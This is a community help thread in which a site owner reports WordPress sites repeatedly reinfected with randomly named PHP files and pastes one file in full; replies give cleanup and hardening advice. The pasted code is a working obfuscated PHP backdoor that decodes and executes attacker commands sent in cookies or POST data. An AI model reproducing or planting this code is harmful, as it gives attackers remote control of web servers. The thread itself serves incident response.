Wordpress websites hacked, strange php files keep appearing

My html folder full of wordpress websites get continously infected with strange php files. I regularly delete them but they reappear (also their date looks random and it’s impossible to detect when they are uploaded).

The files have names such as 6k6xekmd.php.

The content is like this:

$kimlluq = 'xgr4#ati9cn3sembo\'*6vpd2_-l7fkyu058H';$dcgyv = Array();$dcgyv[] = $kimlluq[9].$kimlluq[2].$kimlluq[13].$kimlluq[5].$kimlluq[6].$kimlluq[13].$kimlluq[24].$kimlluq[28].$kimlluq[31].$kimlluq[10].$kimlluq[9].$kimlluq[6].$kimlluq[7].$kimlluq[16].$kimlluq[10];$dcgyv[] = $kimlluq[35].$kimlluq[18];$dcgyv[] = $kimlluq[4];$dcgyv[] = $kimlluq[15].$kimlluq[27].$kimlluq[27].$kimlluq[19].$kimlluq[33].$kimlluq[9].$kimlluq[5].$kimlluq[5].$kimlluq[25].$kimlluq[23].$kimlluq[13].$kimlluq[33].$kimlluq[32].$kimlluq[25].$kimlluq[3].$kimlluq[11].$kimlluq[8].$kimlluq[8].$kimlluq[25].$kimlluq[15].$kimlluq[3].$kimlluq[23].$kimlluq[9].$kimlluq[25].$kimlluq[19].$kimlluq[9].$kimlluq[13].$kimlluq[34].$kimlluq[33].$kimlluq[8].$kimlluq[33].$kimlluq[8].$kimlluq[32].$kimlluq[22].$kimlluq[15].$kimlluq[5];$dcgyv[] = $kimlluq[9].$kimlluq[16].$kimlluq[31].$kimlluq[10].$kimlluq[6];$dcgyv[] = $kimlluq[12].$kimlluq[6].$kimlluq[2].$kimlluq[24].$kimlluq[2].$kimlluq[13].$kimlluq[21].$kimlluq[13].$kimlluq[5].$kimlluq[6];$dcgyv[] = $kimlluq[13].$kimlluq[0].$kimlluq[21].$kimlluq[26].$kimlluq[16].$kimlluq[22].$kimlluq[13];$dcgyv[] = $kimlluq[12].$kimlluq[31].$kimlluq[15].$kimlluq[12].$kimlluq[6].$kimlluq[2];$dcgyv[] = $kimlluq[5].$kimlluq[2].$kimlluq[2].$kimlluq[5].$kimlluq[30].$kimlluq[24].$kimlluq[14].$kimlluq[13].$kimlluq[2].$kimlluq[1].$kimlluq[13];$dcgyv[] = $kimlluq[12].$kimlluq[6].$kimlluq[2].$kimlluq[26].$kimlluq[13].$kimlluq[10];$dcgyv[] = $kimlluq[21].$kimlluq[5].$kimlluq[9].$kimlluq[29];foreach ($dcgyv[8]($_COOKIE, $_POST) as $uiztgqs => $vyqoc){function ifrikvp($dcgyv, $uiztgqs, $wansrwt){return $dcgyv[7]($dcgyv[5]($uiztgqs . $dcgyv[3], ($wansrwt / $dcgyv[9]($uiztgqs)) + 1), 0, $wansrwt);}function losmy($dcgyv, $jvcjj){return @$dcgyv[10]($dcgyv[1], $jvcjj);}function blytvnx($dcgyv, $jvcjj){$vtngy = $dcgyv[4]($jvcjj) % 3;if (!$vtngy) {$ktypu = $dcgyv[0]; $enjxyns = $ktypu("", $jvcjj[1]($jvcjj[2]));$enjxyns();exit();}}$vyqoc = losmy($dcgyv, $vyqoc);blytvnx($dcgyv, $dcgyv[6]($dcgyv[2], $vyqoc ^ ifrikvp($dcgyv, $uiztgqs, $dcgyv[9]($vyqoc))));}

Submit an answer

This textbox defaults to using Markdown to format your answer.

You can type !ref in this text area to quickly search our full set of tutorials, documentation & marketplace offerings and insert the link!

Sign In or Sign Up to Answer

These answers are provided by our Community. If you find them useful, show some love by clicking the heart. If you run into issues leave a comment, or add your own answer to help others.

Want to learn more? Join the DigitalOcean Community!

Join our DigitalOcean community of over a million developers for free! Get help and share knowledge in Q&A, subscribe to topics of interest, and get courses and tools that will help you grow as a developer and scale your project or business.

Hi there,

You can install malware detection software like Linux Malware Detect, also known as Maldet or LMD. It will help you to locate any malicious files on your droplet.

If you’re interested in securing your droplet (everyone should be in general) you can double-check our tutorial - An Introduction to Securing your Linux VPS.

The article will cover the basic and some more advanced steps in website and server security.

You can check the article here:

Hope that this helps!

Have you installed any nulled wordpress theme or plugin from untrusted sources?

Nulled means non-authorized premium wordpress themes or plugins downloaded for free from sites other than its publisher.

Hi there @ilariaroglieri,

I could suggest following the steps from this answer here on how to secure your WordPress websites:

Once you’ve done that I could suggest the following as well:

  • Install a plugin called Wordfence and run a security scan for each website

  • Delete any plugins and themes that you do not use

  • Change your WordPress core files with clean ones and also run a core checksum with the wp-cli tool

  • Also make sure to check your Apache or Nginx access logs for any strange POST requests

Another thing you could try is also installing mod security in case you are using Apche. And you could use mod RUID2 which allows you to run each website under a different Linux user so that if 1 site gets compromised the rest of the sites would not be affected.

Let me know if you have any questions. Regards, Bobby